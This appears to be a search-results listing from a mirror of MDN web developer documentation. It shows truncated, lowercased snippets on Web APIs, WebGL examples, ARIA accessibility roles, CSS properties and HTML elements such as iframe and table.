...ar listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); the write() method contains a promise including code that decodes each written chunk into a format that can be written to the ui.
... writing to actually write content to the stream we call the sendmessage() function, passing it a message to be written and the stream to write to: sendmessage("hello, world.", writablestream); the sendmessage() definition looks like so: function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .the...
...And 2 more matches
TextTrack.mode - Web APIs
WebAPITextTrackmode
syntax var mode = texttrack.mode; texttrack.mode = "disabled" | "hidden" | "showing"; value a domstring which indicates the track's current mode.
...in general: tracks whose kind is "subtitles" or "captions" are rendered with the cues overlaid over the top of the video.
... tracks whose kind is "descriptions" are presented in a non-visual form (for example, the text might be spoken to describe the action in the video).
...And 2 more matches
TransitionEvent() - Web APIs
it defaults to "".
...for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... pseudoelement optional is a domstring, starting with "::", containing the name of the pseudo-element the animation runs on.
...And 2 more matches
VideoTrack - Web APIs
for example, the main video track would have a kind of "main".
...for example, a track whose kind is "sign" might have a label of "a sign-language interpretation".
...the language is specified as a bcp 47 (rfc 5646) language code, such as "en-us" or "pt-br".
...And 2 more matches
WebGLRenderingContext - Web APIs
to get an access to a webgl context for 2d and/or 3d graphics rendering, call getcontext() on a <canvas> element, supplying "webgl" as the argument: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl'); once you have the webgl rendering context for a canvas, you can render within it.
...this is also done in other graphics {̣{glossary("api")}}, such as the canvas 2d rendering context.
... <p>compare the two canvases.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : inline-block; width : 120px; height : 80px; margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webg...
...And 2 more matches
Hello GLSL - Web APIs
hello glsl!</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function ...
...setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#fragment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.delet...
...eshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully.
...And 2 more matches
Hello vertex attributes - Web APIs
he canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict"...
... window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#fragment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.d...
...etachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully.
...And 2 more matches
Scissor animation - Web APIs
<p>webgl animation by clearing the drawing buffer with solid color and applying scissor test.</p> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation</button> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; mar...
...gin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); // variables to hold the webgl context, and the color and // position of animated squares.
... position = [0, gl.drawingbufferheight]; var button = document.queryselector("button"); var timer; function startanimation(evt) { button.removeeventlistener(evt.type, startanimation, false); button.addeventlistener("click", stopanimation, false); document.queryselector("strong").innerhtml = "stop"; timer = setinterval(drawanimation, 17); drawanimation(); } function stopanimation(evt) { button.removeeventlistener(evt.type, stopanimation, false...
...And 2 more matches
Simple color animation - Web APIs
<p>a simple webgl program that shows color animation.</p> <p>you can click the button below to toggle the color animation on or off.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation </button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; fon...
...t-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation.
... var button = document.queryselector("#animation-onoff"); var verb = document.queryselector("strong"); function startanimation(evt) { button.removeeventlistener(evt.type, startanimation, false); button.addeventlistener("click", stopanimation, false); verb.innerhtml="stop"; // setup animation loop by redrawing every second.
...And 2 more matches
Textures from code - Web APIs
simple demonstration of procedural texturing</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute vec2 position; void main() { gl_position = vec4(position, 0.0, 1.0); gl_pointsize = 128.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { vec2 fragmentposition = 2.0*gl_pointcoord - 1.0; float distance = length(fragmentposition);...
... float distancesqrd = distance * distance; gl_fragcolor = vec4( 0.2/distancesqrd, 0.1/distancesqrd, 0.0, 1.0 ); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#fragment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.create...
...rogram, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully.
...And 2 more matches
Using the Web Audio API - Web APIs
a powerful feature of the web audio api is that it does not have a strict "sound call limitation".
... <audio src="mycooltrack.mp3"></audio> note: if the sound file you're loading is held on a different domain you will need to use the crossorigin attribute; see cross origin resource sharing (cors) for more information.
...we have a play button that changes to a pause button when the track is playing: <button data-playing="false" role="switch" aria-checked="false"> <span>play/pause</span> </button> before we can play our track we need to connect our audio graph from the audio source/input node to the destination.
...And 2 more matches
XMLHttpRequest.responseXML - Web APIs
usually, the response is parsed as "text/xml".
... if the responsetype is set to "document" and the request was made asynchronously, instead the response is parsed as "text/html".
... if the server doesn't specify the content-type as "text/xml" or "application/xml", you can use xmlhttprequest.overridemimetype() to parse it as xml anyway.
...And 2 more matches
ARIA: document role - Accessibility
<div role="dialog"> ...
... <div id="infotext" role="document" tabindex="0"> <p>some informational text goes here.</p> </div> ...
...adding role="document" and tabindex="0" to the element containing the text within a widget enables the screen reader user to press the tab key to place focus on the document element and read the text with the screen reader's reading cursor.
...And 2 more matches
WAI-ARIA Roles - Accessibility
adding role="button" will make an element appear as a button control to a screen reader.
...elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: comment rolethe comment landmark role semantically denotes a comment/reaction to some content on the page, or to a previous comment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone ...
...it is used to provide a generic landmark for people to be able to navigate to easily when none of the other landmark roles are appropriate.aria: row rolean element with role="row" is a row of cells within a tabular structure.
...And 2 more matches
Alerts - Accessibility
here is a simple form: <form method="post" action="post.php"> <fieldset> <legend>please enter your contact details</legend> <label for="name">your name (required):</label> <input name="name" id="name" aria-required="true"/> <br /> <label for="email">e-mail address (required):</label> <input name="email" id="email" aria-required="true"/> <br /> <label for="website">website (optional):</label>...
... <input name="website" id="website"/> </fieldset> <label for="message">please enter your message (required):</label> <br /> <textarea name="message" id="message" rows="5" cols="80" aria-required="true"></textarea> <br /> <input type="submit" name="submit" value="send message"/> <input type="reset" name="reset" value="reset form"/> </form> checking for validity and notifying the user form validations consists of several steps: checking if the e-mail address or entered name are valid.
... below is example javascript code which could be inserted above the closing “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var msg = document.createtextnode(amsg)...
...And 2 more matches
HTML To MSAA - Accessibility
map html element role name value states relations actions events notes a role_system_ link n/a value of @href attribute state_system_ selectable if @name attribute is presented state_system_ linked if @href attribute is presented or click event listener is registered state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line char) state_system_ readonly n/a n/a n/a button role_system_ pushbutton from child nodes n/a state_system_ focusable state_system_ default if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to table element div bstr role n/a n/a n/a n/a...
... n/a n/a fieldset role_system_ grouping text equivalent from child legend element n/a n/a labelled_by (1003), points to legend element n/a n/a hr role_system_ separator n/a n/a n/a n/a n/a n/a img, input @type=image role_system_ graphic from @alt attribute, empty @alt attribute means name can't be calculated at all n/a state_system_ animated if image has more than one frame n/a "showlongdesc" if @longdesc attribute is presented n/a if @usemap attribute is used then image accessible has children for each map item input @type=button, submit, reset role_system_ pushbutton from @value attribute, @alt attribute, default label, @src attribute, @data attribute n/a state_system_ default if @type attribute has value "submit" n/a "press" n/a input @type=text, textarea role_system_ t...
...ext n/a value property of input dom element state_system_ readonly if @readonly attribute is used n/a "activate" n/a input @type=password role_system_ text n/a n/a state_system_ readonly if @readonly attribute is used state_system_ protected n/a "activate" n/a input type="checkbox" role_system_ checkbutton n/a n/a state_system_ marqueed used as state checkable state_system_ mixed for html 5 if intermediate property of dom element returns true state_system_ checked if checked property of dom element returns true n/a "check"/"uncheck"/"cycle" depending on state event_object_ statechange when state is changed input type="radio" role_system_ radiobutton n/a n/a state_system_ marqueed used as state checkable state_system_ checked if checked property of dom element returns true ...
...And 2 more matches
Perceivable - Accessibility
if you have to include an image via an <img> element, give it a blank alt (alt="").
...so, for example: "click the round button to continue" the button should be clearly labelled so that it is obvious that it is the button you need to press.
... "listen to the audio instructions for guidance" this is obviously problematic—audio will be inaccessible to those with hearing impairments, whereas text can be read, but also spoken by a screenreader if required.
...And 2 more matches
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
/* add an arrow after links */ a::after { content: ""; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements.
... html <p class="boring-text">here is some plain old boring text.</p> <p>here is some normal text that is neither boring nor exciting.</p> <p class="exciting-text">contributing to mdn is easy and fun.</p> css .exciting-text::after { content: " <- exciting!"; color: green; } .boring-text::after { content: " <- boring"; color: red; } result decorative example we can style text or images in the conten...
... html <span class="ribbon">look at the orange box after this text.
...And 2 more matches
all - CSS: Cascading Style Sheets
WebCSSall
formal definition initial valuethere is no practical initial value for it.applies toall elementsinheritednocomputed valueas the specified value applies to each property this is a shorthand for.animation typeas each of the properties of the shorthand (all properties but unicode-bidi and direction) formal syntax initial | inherit | unset | revert examples html <blockquote id="quote"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
... css body { font-size: small; background-color: #f0f0f0; color: blue; } blockquote { background-color: skyblue; color: red; } result no all property <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis.
... all:unset <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis.
...And 2 more matches
font-weight - CSS: Cascading Style Sheets
for truetype or opentype variable fonts, the "wght" variation is used to implement varying widths.
... html <header> <input type="range" id="weight" name="weight" min="1" max="1000" /> <label for="weight">weight</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* mutator sans is created by letterror (https://github.com/letterror/mutatorsans) and is used here under the terms of its license: https://github.com/letterror/mutatorsans/blob/master/license */ @font-face { src: url('https://mdn.mozillademos.org/files/16011/mutatorsans.ttf'); font-family:'mutatorsans'; ...
...{ text-transform: uppercase; font: 1.5rem 'mutatorsans', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: column; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascript let weightlabel = document.queryselector('label[for="weight"]'); let weightinput = document.queryselector('#weight'); let sampletext = document.queryselector('.sample'); function update() { weightlabel.textcontent = `font-weight: ${weightinput.value};`; sampletext.style.fontweight = weightinput.value; } weightinput.addeventlistener('input', update); update(); accessibility concerns people experiencing low vision conditions may have diffic...
...And 2 more matches
<length> - CSS: Cascading Style Sheets
WebCSSlength
cap represents the "cap height" (nominal height of capital letters) of the element’s font.
... ch represents the width, or more precisely the advance measure, of the glyph "0" (zero, the unicode character u+0030) in the element's font.
...on fonts with the "x" letter, this is generally the height of lowercase letters in the font; 1ex ≈ 0.5em in many fonts.
...And 2 more matches
place-content - CSS: Cascading Style Sheets
examples placing content in a flex container html <div id="container"> <div class="small">lorem</div> <div class="small">lorem<br/>ipsum</div> <div class="large">lorem</div> <div class="large">lorem<br/>impsum</div> <div class="large"></div> <div class="large"></div> </div> <code>writing-mode:</code><select id="writingmode"> <option value="horizontal-tb" selected>horizontal-tb</option> <option value="vertical-rl">vertical-rl</option> ...
...<option value="vertical-lr">vertical-lr</option> <option value="sideways-rl">sideways-rl</option> <option value="sideways-lr">sideways-lr</option> </select><code>;</code><br/> <code>direction:</code><select id="direction"> <option value="ltr" selected>ltr</option> <option value="rtl">rtl</option> </select><code>;</code><br/> <code>place-content:</code><select id="aligncontentalignment"> <option value="normal">normal</option> <option value="first baseline">first baseline</option> <option value="last baseline">last baseline</option> <option value="baseline">baseline</option> <option value="space-between">space-between</option> <option value="space-around">space-around</option> <option value="space-evenly" selected>space-evenly</option> <option value="stretch">stretch</...
...option> <option value="center">center</option> <option value="start">start</option> <option value="end">end</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> <option value="safe">safe</option> <option value="unsafe">unsafe</option> </select> <select id="justifycontentalignment"> <option value="normal">normal</option> <option value="space-between">space-between</option> <option value="space-around">space-around</option> <option value="space-evenly">space-evenly</option> <option value="stretch">stretch</option> <option value="center" selected>center</option> <option value="start">start</option> <option value="end">end</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</...
...And 2 more matches
text-justify - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toinline-level and table-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | inter-character | inter-word | none examples <p class="none"><code>text-justify: none</code> —<br>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...cras eu elementum dui.</p> <p class="auto"><code>text-justify: auto</code> —<br>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...cras eu elementum dui.</p> <p class="dist"><code>text-justify: distribute</code> —<br>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 2 more matches
transform-origin - CSS: Cascading Style Sheets
ageanimation typesimple list of length, percentage, or calc formal syntax [ <length-percentage> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> examples code sample transform: none; <div class="box1">&nbsp;</div> .box1 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: none; -webkit-transform: none; } transform: rotate(30deg); <div class="box2">&nbsp;</div> .box2 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: rotate(30deg); ...
...-webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 0 0; <div class="box3">&nbsp;</div> .box3 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: 0 0; -webkit-transform-origin: 0 0; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 100% 100%; <div class="box4">&nbsp;</div> .box4 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: 100% 100%; -webkit-transform-origin: 100% 100%; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: ro...
...tate(30deg); transform-origin: -1em -3em; <div class="box5">&nbsp;</div> .box5 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: -1em -3em; -webkit-transform-origin: -1em -3em; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: scale(1.7); <div class="box6">&nbsp;</div> .box6 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: scale(1.7); -webkit-transform: scale(1.7); } transform: scale(1.7); transform-origin: 0 0; <div class="box7">&nbsp;</div> .box7 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; backgroun...
...And 2 more matches
transition-delay - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-delay: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -w...
...ound-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height background-color font-size left top color; transition-duration:2s; transition-delay:0.5s; transition-timing-function: linear; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-delay: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; back...
...ckground-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:1s; -webkit-transition-timing-function: linear; transition-property: width height background-color font-size left top color; transition-duration:2s; transition-delay:1s; transition-timing-function: linear; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-delay: 2s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; back...
...And 2 more matches
transition-duration - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit...
...r font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height background-color font-size left top transform -webkit-transformv color; transition-duration:0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; b...
...-color font-size left top -webkit-transform transform color; -webkit-transition-duration:1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height background-color font-size left top transform -webkit-transform color; transition-duration:1s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 2s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; b...
...And 2 more matches
url() - CSS: Cascading Style Sheets
WebCSSurl()
/* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */ background-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg'); content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); offset-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fallbacks */ cursor: url(pointer.cur), pointer; /* associated short-hand properties...
... */ background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space; /* as a parameter in another css function */ background-image: cross-fade(20% url(first.png), url(second.png)); mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* as part of a non-shorthand multiple value */ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ...
... } @import url("https://www.example.com/style.css"); @namespace url(http://www.w3.org/1999/xhtml); relative urls, if used, are relative to the url of the stylesheet (not to the url of the web page).
...And 2 more matches
vertical-align - CSS: Cascading Style Sheets
for example, it could be used to vertically position an <img> in a line of text: <p> top:<img style="vertical-align:top" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> middle:<img style="vertical-align:middle" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> bottom:<img style="vertical-align:bottom" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> super:<img style="vertical-align:super" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> ...
...sub:<img style="vertical-align:sub" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> </p> <p> text-top:<img style="vertical-align:text-top" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> text-bottom:<img style="vertical-align:text-bottom" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> 0.2em:<img style="vertical-align:0.2em" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> -1em:<img style="vertical-align:-1em" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> 20%:<img style="vertical-align:20%" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> -100%:<img style="vertical-align:-100%" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> </p> #* { box-sizing: border-box; } img { mar...
...gin-right: 0.5em; } p { height: 3em; padding: 0 .5em; font-family: monospace; text-decoration: underline overline; margin-left: auto; margin-right: auto; width: 80%; } to vertically align the content of a cell in a table: <table> <tr> <td style="vertical-align: baseline">baseline</td> <td style="vertical-align: top">top</td> <td style="vertical-align: middle">middle</td> <td style="vertical-align: bottom">bottom</td> <td> <p>there is a theory which states that if ever anyone discovers exactly what the universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarre and inexplicable.</p> <p>there is another theory which states that this has already happened.</p> </td> </tr> </table> ta...
...And 2 more matches
Challenge solutions - Developer guides
solution add this rule to your stylesheet: p:before{ content: url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals from i to v.
... solution add a rule to the body element (parent of the headings) to reset a new counter, and one to display and increment the counter on the headings: /* numbered headings */ body {counter-reset: headnum;} h3:before { content: "(" counter(headnum, upper-latin) ") "; counter-increment: headnum; } boxes ocean border challenge add one rule to your stylesheet, making a wide border all around the oceans in a color that reminds you of the sea.
... solution the following rule achieves this effect: ul { border: 10px solid lightblue; width: 100px; } layout default image position fixed image position challenge change your sample document, doc2.html, adding this tag to it near the end, just before </body>: <img id="fixed-pin" src="yellow-pin.png" alt="yellow map pin"> predict where the image will appear in your document.
...And 2 more matches
Printing - Developer guides
<link href="/path/to/print.css" media="print" rel="stylesheet" /> using media queries to improve layout detecting print requests some browsers (including firefox 6 and later and internet explorer) send beforeprint and afterprint events to let content determine when printing may have occurred.
... open and automatically close a popup window when finished if you want to be able to automatically close a popup window (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like this: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>javascript window close example </title> <script type="text/javascript"> function popuponclick() { my_window = window.open('', 'mywindow', 'status=1,width=350,height=150'); my_window.document.write('<html><head><title>print me</title></head>'); my_window.document.write('<body onafterprint="self.close()">'); my...
...you can also try changing the code to use <code>beforeprint</code> to see the difference.</p> <p><a href="javascript: popuponclick()">open popup window</a></p> </body> </html> view live examples print an external page without opening it if you want to be able to print an external page without opening it, you can utilize a hidden <iframe> (see: htmliframeelement), automatically removing it after the user prints its contents.
...And 2 more matches
User input and controls - Developer guides
for example if you want to add controls when any key gets pressed, you need to add an event listener on the window object: window.addeventlistener("keydown", handlekeydown, true); window.addeventlistener("keyup", handlekeyup, true); where handlekeydown and handlekeyup are the functions implementing the controls about the keydown and keyup events.
... if you want to use touch events, you need to add event listeners and specify handler functions, which will be called when the event gets fired: element.addeventlistener("touchstart", handlestart, false);
 element.addeventlistener("touchcancel", handlecancel, false);
 element.addeventlistener("touchend", handleend, false);
 element.addeventlistener("touchmove", handlemove, false); where element is the dom element you want to register the touch events on.
...bear in mind that many browsers still implement this with a vendor prefix, so you will probably need to fork your code something like this: var elem = document.getelementbyid("myvideo"); if (elem.requestfullscreen) { elem.requestfullscreen(); } else if (elem.msrequestfullscreen) { elem.msrequestfullscreen(); } else if (elem.mozrequestfullscreen) { elem.mozrequestfullscreen(); } else if (elem.webkitrequestfullscreen) { elem.webkitrequestfullscreen(); } note: to find more out about adding fullscreen functionality your application, read our documentation about us...
...And 2 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
this attribute is considered a legacy attribute and redefined as allow="fullscreen".
... this attribute is considered a legacy attribute and redefined as allow="payment".
... allow-popups: allows popups (such as window.open(), target="_blank", or showmodaldialog()).
...And 2 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
a width descriptor, which consists of a string containing a positive integer directly followed by "w", such as 300w.
... a pixel density descriptor, that is a positive floating number directly followed by "x".
...that is, you never use "</source>" in your html.
...And 2 more matches
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
tfoot, and tbody</p> <table> <thead> <tr> <th>header content 1</th> <th>header content 2</th> </tr> </thead> <tbody> <tr> <td>body content 1</td> <td>body content 2</td> </tr> </tbody> <tfoot> <tr> <td>footer content 1</td> <td>footer content 2</td> </tr> </tfoot> </table> <p>table with colgroup</p> <table> <colgroup span="4"></colgroup> <tr> <th>countries</th> <th>capitals</th> <th>population</th> <th>language</th> </tr> <tr> <td>usa</td> <td>washington, d.c.</td> <td>309 million</td> <td>english</td> </tr> <tr> <td>sweden</td> <td>stockholm</td> <td>9 million</td> <td>swedish</td> </tr> </table> <p>table with colgroup and col</p> <table> <colgroup> ...
